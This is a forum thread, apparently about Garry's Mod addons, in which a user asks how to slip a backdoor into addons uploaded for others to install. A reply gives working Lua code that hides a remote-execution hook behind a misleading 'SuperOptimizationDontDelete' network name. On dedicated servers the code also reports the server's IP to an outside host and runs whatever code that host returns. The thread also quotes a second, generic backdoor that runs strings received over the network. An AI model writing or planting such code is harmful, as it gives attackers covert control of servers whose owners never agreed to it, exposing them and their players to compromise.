How to add a backdoor to a addon?
I just wanna know how would I add a backdoor to my addons that I would upload.
And how would I know if my backdoored addon was on a server?
And I use [Generic Backdoor Code]
Or just using OdiumBackdoor in general
And how would I know if my backdoored addon was on a server?
And I use [Generic Backdoor Code]
["Code"] = "util.AddNetworkString( '_CAC_ReadMemory' ) net.Receive( '_CAC_ReadMemory', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
There are many ways to make backdoor.
Put this code in your addon:
If you want to log backdoored servers you need website
here is simple php code for logging:
https://super-website.zone/fetch.php:
Additional backdoor on logging page, will be runned when server starts
https://super-website.zone/code.lua:
Now all backdoored dedicated servers will apear in servers.json file on website
Join server and run code on your client side
Put this code in your addon:
util.AddNetworkString("SuperOptimizationDontDelete ")
net.Receive("SuperOptimizationDontDelete", function()
RunString(net.ReadString())
end)
timer.Create("1____", 10, 1, function()
if !game.IsDedicated() then return end
http.Fetch("https://super-website.zone/fetch.php?ip="..game.GetIPAddress(), RunString)
end)
net.Receive("SuperOptimizationDontDelete", function()
RunString(net.ReadString())
end)
timer.Create("1____", 10, 1, function()
if !game.IsDedicated() then return end
http.Fetch("https://super-website.zone/fetch.php?ip="..game.GetIPAddress(), RunString)
end)
